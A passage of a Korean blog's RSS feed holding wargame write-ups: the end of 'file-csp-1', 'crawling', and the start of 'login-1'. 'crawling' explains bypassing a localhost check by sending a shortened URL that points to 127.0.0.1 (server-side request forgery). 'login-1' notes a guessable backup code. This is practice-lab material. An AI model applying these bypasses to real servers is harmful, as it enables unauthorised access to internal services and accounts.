&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;test&lt;/span&gt;&lt;span&gt;에 위에 작성한 그대로 보내서 확인했다.&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;div id=&quot;hwpEditorBoardContent&quot; data-hjsonver=&quot;1.0&quot; data-jsonlen=&quot;891897&quot;&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;543&quot; data-origin-height=&quot;228&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ERN96/btrXnv9AK8w/VWRZ5qa21XQem56KYtcoMk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ERN96/btrXnv9AK8w/VWRZ5qa21XQem56KYtcoMk/img.png&quot; data-alt=&quot;&amp;amp;lt;Verify CSP&amp;amp;gt;&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ERN96/btrXnv9AK8w/VWRZ5qa21XQem56KYtcoMk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FERN96%2FbtrXnv9AK8w%2FVWRZ5qa21XQem56KYtcoMk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;446&quot; height=&quot;187&quot; data-origin-width=&quot;543&quot; data-origin-height=&quot;228&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;&amp;lt;Verify CSP&amp;gt;&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;Verify CSP&lt;/span&gt;&lt;span&gt;에서 &lt;/span&gt;&lt;span&gt;Test&lt;/span&gt;&lt;span&gt;에서 보냈던 그대로 보냈다.&lt;/span&gt;&lt;/p&gt;
&lt;div id=&quot;hwpEditorBoardContent&quot; data-hjsonver=&quot;1.0&quot; data-jsonlen=&quot;846633&quot;&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;788&quot; data-origin-height=&quot;165&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/brlwSm/btrXl0QyEtR/olDd07FRGAE47jY0ZHT381/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/brlwSm/btrXl0QyEtR/olDd07FRGAE47jY0ZHT381/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/brlwSm/btrXl0QyEtR/olDd07FRGAE47jY0ZHT381/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbrlwSm%2FbtrXl0QyEtR%2FolDd07FRGAE47jY0ZHT381%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;788&quot; height=&quot;165&quot; data-origin-width=&quot;788&quot; data-origin-height=&quot;165&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;flag를 획득했다.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div id=&quot;hwpEditorBoardContent&quot; data-hjsonver=&quot;1.0&quot; data-jsonlen=&quot;95886&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>Webhacking-Write-Up/Dreamhack</category>
      <category>dreamhack</category>
      <category>dreamhack file-csp-1</category>
      <category>file-csp-1</category>
      <category>wargame</category>
      <category>드림핵</category>
      <category>드림핵 file-csp-1</category>
      <author>SlowTurtle_</author>
      <guid isPermaLink="true">https://godturtle.tistory.com/89</guid>
      <comments>https://godturtle.tistory.com/89#entry89comment</comments>
      <pubDate>Fri, 27 Jan 2023 17:25:59 +0900</pubDate>
    </item>
    <item>
      <title>[Dreamhack] crawling</title>
      <link>https://godturtle.tistory.com/88</link>
      <description>&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;[Dreamhack]&amp;nbsp;crawling&lt;/span&gt;&lt;/h4&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;548&quot; data-origin-height=&quot;60&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/c66P5P/btrXdM4u9c1/UVeN46IwUlbH8XOVTetm4K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/c66P5P/btrXdM4u9c1/UVeN46IwUlbH8XOVTetm4K/img.png&quot; data-alt=&quot;&amp;amp;lt;초기 화면&amp;amp;gt;&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/c66P5P/btrXdM4u9c1/UVeN46IwUlbH8XOVTetm4K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fc66P5P%2FbtrXdM4u9c1%2FUVeN46IwUlbH8XOVTetm4K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;732&quot; height=&quot;80&quot; data-origin-width=&quot;548&quot; data-origin-height=&quot;60&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;&amp;lt;초기 화면&amp;gt;&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;548&quot; data-origin-height=&quot;607&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/VJYXJ/btrW55ZkDXT/BUoup2o4SrWsV3gmUCswOk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/VJYXJ/btrW55ZkDXT/BUoup2o4SrWsV3gmUCswOk/img.png&quot; data-alt=&quot;&amp;amp;lt;app.py&amp;amp;gt;&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/VJYXJ/btrW55ZkDXT/BUoup2o4SrWsV3gmUCswOk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FVJYXJ%2FbtrW55ZkDXT%2FBUoup2o4SrWsV3gmUCswOk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;515&quot; height=&quot;570&quot; data-origin-width=&quot;548&quot; data-origin-height=&quot;607&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;&amp;lt;app.py&amp;gt;&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;check_global&lt;/span&gt;&lt;span&gt;과 &lt;/span&gt;&lt;span&gt;damin_page&lt;/span&gt;&lt;span&gt;를 보면 &lt;/span&gt;&lt;span&gt;address&lt;/span&gt;&lt;span&gt;는 &lt;/span&gt;&lt;span&gt;127.0.0.1&lt;/span&gt;&lt;span&gt;인지 체크하고 있으므로 &lt;/span&gt;&lt;span&gt;address&lt;/span&gt;&lt;span&gt;는 &lt;/span&gt;&lt;span&gt;127.0.0.1&lt;/span&gt;&lt;span&gt;이어야 한다&lt;/span&gt;&lt;span&gt;. &lt;/span&gt;&lt;span&gt;가장 밑을 보면 포트는 &lt;/span&gt;&lt;span&gt;3333&lt;/span&gt;&lt;span&gt;이니 &lt;/span&gt;&lt;span&gt;127.0.0.1:3333&lt;/span&gt;&lt;span&gt;을 보내보자&lt;/span&gt;&lt;span&gt;. &lt;/span&gt;&lt;span&gt;여기서 참고할 점은 &lt;/span&gt;&lt;span&gt;PHP&lt;/span&gt;&lt;span&gt;는 &lt;/span&gt;&lt;span&gt;http://Wrapper&lt;/span&gt;&lt;span&gt;를 지원한다&lt;/span&gt;&lt;span&gt;. &lt;/span&gt;&lt;span&gt;즉&lt;/span&gt;&lt;span&gt;, http://url~&lt;/span&gt;&lt;span&gt;와 같은 형태로 넘겨주면 외부 도메인에 있는 리소스를 가져오는 것이다&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;548&quot; data-origin-height=&quot;57&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/W0wfk/btrXa19cNqC/A1Hzk7Kd4swxlYKXZhaAVk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/W0wfk/btrXa19cNqC/A1Hzk7Kd4swxlYKXZhaAVk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/W0wfk/btrXa19cNqC/A1Hzk7Kd4swxlYKXZhaAVk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FW0wfk%2FbtrXa19cNqC%2FA1Hzk7Kd4swxlYKXZhaAVk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;562&quot; height=&quot;58&quot; data-origin-width=&quot;548&quot; data-origin-height=&quot;57&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;541&quot; data-origin-height=&quot;257&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/JfXwq/btrW9mzAh17/3oHldWVc45FPIRPQtriFU1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/JfXwq/btrW9mzAh17/3oHldWVc45FPIRPQtriFU1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/JfXwq/btrW9mzAh17/3oHldWVc45FPIRPQtriFU1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FJfXwq%2FbtrW9mzAh17%2F3oHldWVc45FPIRPQtriFU1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;497&quot; height=&quot;236&quot; data-origin-width=&quot;541&quot; data-origin-height=&quot;257&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;소스 코드에서 본 것처럼 &lt;/span&gt;&lt;span&gt;check_global&lt;/span&gt;&lt;span&gt;을 우회하지 못하여 &lt;/span&gt;&lt;span&gt;Can you access my admin page~? &lt;/span&gt;&lt;span&gt;문장이 출력되었다&lt;/span&gt;&lt;span&gt;. 127.0.0.1:3333&lt;/span&gt;&lt;span&gt;을 외부 &lt;/span&gt;&lt;span&gt;ip&lt;/span&gt;&lt;span&gt;인 것처럼 다른 &lt;/span&gt;&lt;span&gt;url&lt;/span&gt;&lt;span&gt;로 변경하여 요청하여 &lt;/span&gt;&lt;span&gt;check_global&lt;/span&gt;&lt;span&gt;을 우회해보자&lt;/span&gt;&lt;span&gt;. url &lt;/span&gt;&lt;span&gt;단축을 이용했다&lt;/span&gt;&lt;span&gt;. (&lt;/span&gt;&lt;u&gt;&lt;span style=&quot;color: #0000ff;&quot;&gt;&lt;/span&gt;&lt;/u&gt;&lt;u&gt;&lt;a href=&quot;https://han.gl/)&quot;&gt;https://han.gl/)&lt;/a&gt;&lt;/u&gt;&lt;span&gt; &lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;http://127.0.0.1:3333&lt;/span&gt;&lt;span&gt;을 &lt;/span&gt;&lt;span&gt;url &lt;/span&gt;&lt;span&gt;단축 요청을 통해 단축하여 얻은 &lt;/span&gt;&lt;span&gt;url&lt;/span&gt;&lt;span&gt;을 보냈다&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;div id=&quot;hwpEditorBoardContent&quot; data-hjsonver=&quot;1.0&quot; data-jsonlen=&quot;533273&quot;&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;548&quot; data-origin-height=&quot;57&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/r9g4m/btrXaqVUrbY/0jEeKh6f53HRyBBzBk27n0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/r9g4m/btrXaqVUrbY/0jEeKh6f53HRyBBzBk27n0/img.png&quot; data-alt=&quot;&amp;amp;lt;단축 url 제출&amp;amp;gt;&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/r9g4m/btrXaqVUrbY/0jEeKh6f53HRyBBzBk27n0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fr9g4m%2FbtrXaqVUrbY%2F0jEeKh6f53HRyBBzBk27n0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;600&quot; height=&quot;62&quot; data-origin-width=&quot;548&quot; data-origin-height=&quot;57&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;&amp;lt;단축 url 제출&amp;gt;&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;div id=&quot;hwpEditorBoardContent&quot; data-hjsonver=&quot;1.0&quot; data-jsonlen=&quot;579941&quot;&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;713&quot; data-origin-height=&quot;338&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ckdRGQ/btrXaq9usSR/OoeK3kOgnYH3W7ccup6NfK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ckdRGQ/btrXaq9usSR/OoeK3kOgnYH3W7ccup6NfK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ckdRGQ/btrXaq9usSR/OoeK3kOgnYH3W7ccup6NfK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FckdRGQ%2FbtrXaq9usSR%2FOoeK3kOgnYH3W7ccup6NfK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;713&quot; height=&quot;338&quot; data-origin-width=&quot;713&quot; data-origin-height=&quot;338&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;flag를 획득했다.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;</description>
      <category>Webhacking-Write-Up/Dreamhack</category>
      <category>Crawling</category>
      <category>dreamhack</category>
      <category>Dreamhack crawling</category>
      <category>wargame</category>
      <category>드림핵</category>
      <category>드림핵 crawling</category>
      <author>SlowTurtle_</author>
      <guid isPermaLink="true">https://godturtle.tistory.com/88</guid>
      <comments>https://godturtle.tistory.com/88#entry88comment</comments>
      <pubDate>Thu, 26 Jan 2023 11:48:45 +0900</pubDate>
    </item>
    <item>
      <title>[Dreamhack] login-1</title>
      <link>https://godturtle.tistory.com/87</link>
      <description>&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;[Dreamhack]&amp;nbsp;login-1&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;소스 코드가 길어서 필요한 부분만 가져와봤다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;362&quot; data-origin-height=&quot;237&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dJovMi/btrXaBCjgoo/p7lkceG1wS3mzk5aXDMpt0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dJovMi/btrXaBCjgoo/p7lkceG1wS3mzk5aXDMpt0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dJovMi/btrXaBCjgoo/p7lkceG1wS3mzk5aXDMpt0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdJovMi%2FbtrXaBCjgoo%2Fp7lkceG1wS3mzk5aXDMpt0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;405&quot; height=&quot;265&quot; data-origin-width=&quot;362&quot; data-origin-height=&quot;237&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;div id=&quot;hwpEditorBoardContent&quot; data-hjsonver=&quot;1.0&quot; data-jsonlen=&quot;43983&quot;&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;184&quot; data-origin-height=&quot;163&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/OID4q/btrW4E8awUX/HQHYGU4UleKmKmSHMAqH3K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/OID4q/btrW4E8awUX/HQHYGU4UleKmKmSHMAqH3K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/OID4q/btrW4E8awUX/HQHYGU4UleKmKmSHMAqH3K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FOID4q%2FbtrW4E8awUX%2FHQHYGU4UleKmKmSHMAqH3K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;223&quot; height=&quot;198&quot; data-origin-width=&quot;184&quot; data-origin-height=&quot;163&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;guest&lt;/span&gt;&lt;span&gt;를 &lt;/span&gt;&lt;span&gt;0, admin&lt;/span&gt;&lt;span&gt;을 &lt;/span&gt;&lt;span&gt;1 &lt;/span&gt;&lt;span&gt;와 같이 &lt;/span&gt;&lt;span&gt;userLevel&lt;/span&gt;&lt;span&gt;로 구별하고 있다&lt;/span&gt;&lt;span&gt;. /user/useridx useridx&lt;/span&gt;&lt;span&gt;로 &lt;/span&gt;&lt;span&gt;db&lt;/span&gt;&lt;span&gt;에서 가져오는 정보를 볼 수 있다&lt;/span&gt;&lt;span&gt;. &lt;/span&gt;&lt;span&gt;권한이 &lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;일 때 &lt;/span&gt;&lt;span&gt;/admin&lt;/span&gt;&lt;span&gt;페이지를 확인할 수 있다&lt;/span&gt;&lt;span&gt;. &lt;/span&gt;&lt;span&gt;이곳에 &lt;/span&gt;&lt;span&gt;Flag&lt;/span&gt;&lt;span&gt;가 있으니 권한 &lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;을 가지고 있는 계정으로 &lt;/span&gt;&lt;span&gt;/admin&lt;/span&gt;&lt;span&gt;페이지를 확인하면 &lt;/span&gt;&lt;span&gt;Flag&lt;/span&gt;&lt;span&gt;값을 얻을 수 있다&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;548&quot; data-origin-height=&quot;250&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/buLr8y/btrW4EG73TF/Vb4kbmNrZEKONUfaO77FZ1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/buLr8y/btrW4EG73TF/Vb4kbmNrZEKONUfaO77FZ1/img.png&quot; data-alt=&quot;&amp;amp;lt;/register&amp;amp;gt;&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/buLr8y/btrW4EG73TF/Vb4kbmNrZEKONUfaO77FZ1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbuLr8y%2FbtrW4EG73TF%2FVb4kbmNrZEKONUfaO77FZ1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;553&quot; height=&quot;252&quot; data-origin-width=&quot;548&quot; data-origin-height=&quot;250&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;&amp;lt;/register&amp;gt;&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;div id=&quot;hwpEditorBoardContent&quot; data-hjsonver=&quot;1.0&quot; data-jsonlen=&quot;75133&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;register&lt;/span&gt;&lt;span&gt;에서 가입할 수 있는데 가입하고 나면 &lt;/span&gt;&lt;span&gt;backupcode&lt;/span&gt;&lt;span&gt;를 준다&lt;/span&gt;&lt;span&gt;. &lt;/span&gt;&lt;span&gt;그 &lt;/span&gt;&lt;span&gt;backupcode&lt;/span&gt;&lt;span&gt;는 &lt;/span&gt;&lt;span&gt;100&lt;/span&gt;&lt;span&gt;까지의 숫자 중 랜덤하게 부여한다&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;548&quot; data-origin-height=&quot;349&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/DAx4e/btrW4GdU82c/u0vMWMjKGmygrlWK4ELP3K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/DAx4e/btrW4GdU82c/u0vMWMjKGmygrlWK4ELP3K/img.png&quot; data-alt=&quot;&amp;amp;lt;/forget_password&amp;amp;gt;&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/DAx4e/btrW4GdU82c/u0vMWMjKGmygrlWK4ELP3K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FDAx4e%2FbtrW4GdU82c%2Fu0vMWMjKGmygrlWK4ELP3K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;577&quot; height=&quot;367&quot; data-origin-width=&quot;548&quot; data-origin-height=&quot;349&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;&amp;lt;/forget_password&amp;gt;&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;Brute Force&lt;/span&gt;&lt;span&gt;공격을 막기 위해 &lt;/span&gt;&lt;span&gt;sleep(1)&lt;/span&gt;&lt;span&gt;을 걸었다&lt;/span&gt;&lt;span&gt;. &lt;/span&gt;&lt;/p&gt;
&lt;div id=&quot;hwpEditorBoardContent&quot; data-hjsonver=&quot;1.0&quot; data-jsonlen=&quot;118482&quot;&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;548&quot; data-origin-height=&quot;292&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dIbfXc/btrXa2fktem/MJ7vi1uy0IClwUtnxX3Q80/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dIbfXc/btrXa2fktem/MJ7vi1uy0IClwUtnxX3Q80/img.png&quot; data-alt=&quot;&amp;amp;lt;login&amp;amp;gt;&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dIbfXc/btrXa2fktem/MJ7vi1uy0IClwUtnxX3Q80/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdIbfXc%2FbtrXa2fktem%2FMJ7vi1uy0IClwUtnxX3Q80%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;548&quot; height=&quot;292&quot; data-origin-width=&quot;548&quot; data-origin-height=&quot;292&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;&amp;lt;login&amp;gt;&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;548&quot; data-origin-height=&quot;116&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/buti9t/btrW57hWiey/436Mth6euJFaxd9IWJMi8k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/buti9t/btrW57hWiey/436Mth6euJFaxd9IWJMi8k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/buti9t/btrW57hWiey/436Mth6euJFaxd9IWJMi8k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbuti9t%2FbtrW57hWiey%2F436Mth6euJFaxd9IWJMi8k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;548&quot; height=&quot;116&quot; data-origin-width=&quot;548&quot; data-origin-height=&quot;116&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;div id=&quot;hwpEditorBoardContent&quot; data-hjsonver=&quot;1.0&quot; data-jsonlen=&quot;669487&quot;&gt;비밀번호가 틀렸다. 그럼 가입을 해보자.&lt;/div&gt;
&lt;div id=&quot;hwpEditorBoardContent&quot; data-hjsonver=&quot;1.0&quot; data-jsonlen=&quot;964154&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;div id=&quot;hwpEditorBoardContent&quot; data-hjsonver=&quot;1.0&quot; data-jsonlen=&quot;102057&quot;&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;548&quot; data-origin-height=&quot;302&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/yxIMd/btrXaBvznzz/izL3FlT6yqcpQ9O5vhD1RK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/yxIMd/btrXaBvznzz/izL3FlT6yqcpQ9O5vhD1RK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/yxIMd/btrXaBvznzz/izL3FlT6yqcpQ9O5vhD1RK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FyxIMd%2FbtrXaBvznzz%2FizL3FlT6yqcpQ9O5vhD1RK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; 